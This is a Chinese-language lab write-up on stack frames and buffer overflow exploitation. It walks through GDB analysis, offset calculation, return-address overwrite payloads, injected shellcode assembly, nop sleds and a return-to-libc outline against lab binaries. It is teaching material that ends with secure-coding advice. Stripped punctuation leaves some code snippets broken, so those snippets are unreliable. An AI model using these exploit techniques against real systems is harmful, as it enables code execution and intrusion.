计算机系统安全实验:栈帧结构与缓冲区溢出漏洞利用
1. 栈帧结构与缓冲区溢出基础第一次接触缓冲区溢出漏洞时我盯着GDB调试界面看了整整三小时。那感觉就像在拆解一个精密的瑞士手表——每个齿轮寄存器的转动都必须分毫不差。让我们从最基础的栈帧结构说起。栈帧是函数调用的活动记录包含三个关键部分局部变量区存放函数内部的临时变量保存的寄存器值如ebp、ebx等返回地址函数执行完后该回到哪里在32位Linux系统中典型的栈帧布局是这样的----------------- | 参数n | ← 调用者的栈帧 | ... | | 参数1 | ----------------- | 返回地址 | ← 当前栈帧开始 ----------------- | 保存的ebp | ----------------- | 局部变量 | | ... | -----------------缓冲区溢出就像往杯子里倒啤酒——当输入的泡沫数据超过杯子缓冲区容量时就会溢出到桌面其他内存区域。通过精心构造输入数据我们可以让溢出的部分覆盖返回地址从而控制程序执行流。2. GDB实战分析栈帧让我们用GDB调试一个简单程序观察栈帧的实际结构。假设有这样一个存在漏洞的函数void vulnerable() { char buffer[8]; gets(buffer); // 危险函数 }编译时记得关闭保护机制gcc -fno-stack-protector -z execstack -g vuln.c -o vuln在GDB中逐步执行(gdb) break vulnerable (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip 0x80491d6 in vulnerable; saved eip 0x8049321 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frames sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c这里可以看到返回地址保存在0xffffd11cbuffer起始地址在ebp-0x832位系统输入12个字符就能触及返回地址8字节buffer 4字节ebp3. 构造基础攻击载荷以实验中的Level0为例我们需要让程序跳转到smoke函数。关键步骤确定偏移量通过反汇编找到buffer到返回地址的距离080491f4 getbuf: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # buffer起始地址这里buffer大小是0x2840字节加上4字节旧ebp总共需要44字节填充。获取目标地址08048bd2 smoke: 8048bd2: 55 push %ebp构造攻击字符串00 00 00 00 00 00 00 00 ← 40字节填充 00 00 00 00 ← 覆盖ebp d2 8b 04 08 ← smoke函数地址小端序实测中可以用Python生成print(bA*44 b\xd2\x8b\x04\x08)4. 进阶攻击技术4.1 带参数攻击Level1当需要调用如fizz(cookie)时攻击字符串需要覆盖返回地址为fizz函数入口在返回地址后放置cookie参数栈帧布局变为[buffer填充][旧ebp][fizz地址][返回地址占位][cookie值]关键技巧参数位于ebp8的位置使用占位符填充返回地址位置4.2 代码注入Level2当需要修改全局变量时我们需要注入自定义汇编代码movl $0x5216b8f0, 0x804d100 # 将cookie写入全局变量 push $0x8048c49 # bang函数地址 ret将其编译后获取机器码gcc -m32 -c bang.s objdump -d bang.o攻击字符串结构[机器代码][填充][buffer地址]其中buffer地址需要通过GDB调试获取(gdb) break getbuf (gdb) run (gdb) print /x $eax $1 0x556832285. 绕过防护机制现代系统有多种防护措施实验中我们主要面对两种5.1 栈不可执行NX解决方案复用已有代码Return-to-libc找到system()函数地址布置/bin/sh字符串构造调用链5.2 地址随机化ASLR应对方法使用nop雪橇技术print(b\x90*100 shellcode return_address)暴力破解需要信息泄露6. 实验中的踩坑记录在完成Level4时我遇到了地址随机化的挑战。getbufn每次运行时栈地址都不同解决方案是使用nop指令填充大部分空间nop # 机器码0x90将返回地址指向缓冲区高端地址在高端地址放置有效载荷通过GDB获取5次运行的地址范围0x55683048 0x55682ff8 0x55682fe8 0x55682fe8 0x55683038选择最大地址0x55683048作为返回地址确保总能滑入有效载荷区。7. 安全编程建议经历过这些实验后我养成了这些编码习惯永远使用strncpy代替strcpy对用户输入进行长度检查使用安全函数如snprintf开启编译器的栈保护选项缓冲区溢出就像编程界的不要用牙签掏耳朵——看似小事后果严重。理解攻击原理才能写出更健壮的代码。